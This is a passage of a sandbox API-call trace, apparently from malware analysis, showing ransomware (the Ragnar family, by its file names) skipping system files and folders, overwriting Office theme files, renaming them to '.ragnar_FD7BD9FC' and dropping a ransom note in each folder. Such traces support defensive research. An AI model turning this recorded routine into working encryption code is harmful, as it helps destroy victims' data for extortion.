lpString2="ntuser.dat") returned 1 [0077.228] lstrcmpiW (lpString1="WATER.ELM", lpString2="ntuser.dat.log") returned 1 [0077.229] lstrcmpiW (lpString1="WATER.ELM", lpString2="ntuser.ini") returned 1 [0077.229] lstrcmpiW (lpString1="WATER.ELM", lpString2="thumbs.db") returned 1 [0077.229] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0077.229] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0077.229] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0077.229] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0077.229] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0077.229] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0077.229] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0077.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm")) returned 0x20 [0077.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0077.230] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=65996) returned 1 [0077.230] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x101c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.230] GetProcessHeap () returned 0x580000 [0077.230] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.230] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.231] VirtualAlloc (lpAddress=0x0, dwSize=0x101cc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.231] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.231] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.232] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x101cc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x101cc, lpOverlapped=0x0) returned 1 [0077.233] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.234] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x101cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.234] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x101cc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x101cc, lpOverlapped=0x0) returned 1 [0077.236] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x101cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.236] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.237] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x101cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.237] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.237] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.237] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.237] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.237] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.237] GetProcessHeap () returned 0x580000 [0077.237] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.237] CloseHandle (hObject=0x10c) returned 1 [0077.237] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" [0077.237] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.ragnar_FD7BD9FC" [0077.237] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.238] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0077.238] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0077.238] lstrcpyW (in: lpString1=0x1eab6c, lpString2="WATER.INF" | out: lpString1="WATER.INF") returned="WATER.INF" [0077.238] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned=".INF" [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="autorun.inf") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="boot.ini") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="bootfont.bin") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="bootsect.bak") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="bootmgr") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="bootmgr.efi") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="bootmgfw.efi") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="desktop.ini") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="iconcache.db") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="ntldr") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="ntuser.dat") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="ntuser.dat.log") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="ntuser.ini") returned 1 [0077.238] lstrcmpiW (lpString1="WATER.INF", lpString2="thumbs.db") returned 1 [0077.238] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0077.238] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0077.238] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0077.238] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0077.238] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0077.238] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0077.238] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0077.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf")) returned 0x20 [0077.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0077.239] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=417) returned 1 [0077.239] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.239] GetProcessHeap () returned 0x580000 [0077.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.240] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.240] VirtualAlloc (lpAddress=0x0, dwSize=0x1a1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.240] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.240] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.241] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1a1, lpOverlapped=0x0) returned 1 [0077.241] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.241] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a1, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.241] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1a1, lpOverlapped=0x0) returned 1 [0077.241] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.241] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.241] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.241] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.241] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.241] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.241] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.242] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.242] GetProcessHeap () returned 0x580000 [0077.242] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.242] CloseHandle (hObject=0x10c) returned 1 [0077.242] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" [0077.242] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.ragnar_FD7BD9FC" [0077.242] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.242] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0077.242] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.242] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0077.242] lstrcmpiW (lpString1="WATERMAR", lpString2=".") returned 1 [0077.242] lstrcmpiW (lpString1="WATERMAR", lpString2="..") returned 1 [0077.242] lstrcmpiW (lpString1="WATERMAR", lpString2="Windows") returned -1 [0077.242] lstrcmpiW (lpString1="WATERMAR", lpString2="Windows.old") returned -1 [0077.242] lstrcmpiW (lpString1="WATERMAR", lpString2="Tor browser") returned 1 [0077.242] lstrcmpiW (lpString1="WATERMAR", lpString2="Internet Explorer") returned 1 [0077.242] lstrcmpiW (lpString1="WATERMAR", lpString2="Google") returned 1 [0077.242] lstrcmpiW (lpString1="WATERMAR", lpString2="Opera") returned 1 [0077.243] lstrcmpiW (lpString1="WATERMAR", lpString2="Opera Software") returned 1 [0077.243] lstrcmpiW (lpString1="WATERMAR", lpString2="Mozilla") returned 1 [0077.243] lstrcmpiW (lpString1="WATERMAR", lpString2="Mozilla Firefox") returned 1 [0077.243] lstrcmpiW (lpString1="WATERMAR", lpString2="$Recycle.Bin") returned 1 [0077.243] lstrcmpiW (lpString1="WATERMAR", lpString2="ProgramData") returned 1 [0077.243] lstrcmpiW (lpString1="WATERMAR", lpString2="All Users") returned 1 [0077.243] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.243] lstrcpyW (in: lpString1=0x1eb638, lpString2="WATERMAR" | out: lpString1="WATERMAR") returned="WATERMAR" [0077.243] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\" [0077.243] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\" [0077.243] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\RGNR_FD7BD9FC.txt" [0077.243] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0077.245] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*" [0077.245] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0077.245] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.245] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.245] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x804755e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x804755e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.245] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0077.245] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x804755e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x804755e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.245] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0077.245] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0077.245] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0077.245] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0077.245] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0077.245] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x804755e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x804755e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.245] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0077.245] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0077.245] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0077.245] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0077.245] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0077.245] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0077.245] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2=".") returned 1 [0077.245] lstrcmpiW (lpString1="WATERMAR.ELM", lpString2="..") returned 1 [0077.245] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0077.245] lstrcmpiW (lpString1="WATERMAR.INF", lpString2=".") returned 1 [0077.245] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="..") returned 1 [0077.245] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0077.245] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.246] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x804755e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x804755e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.246] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x804755e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, 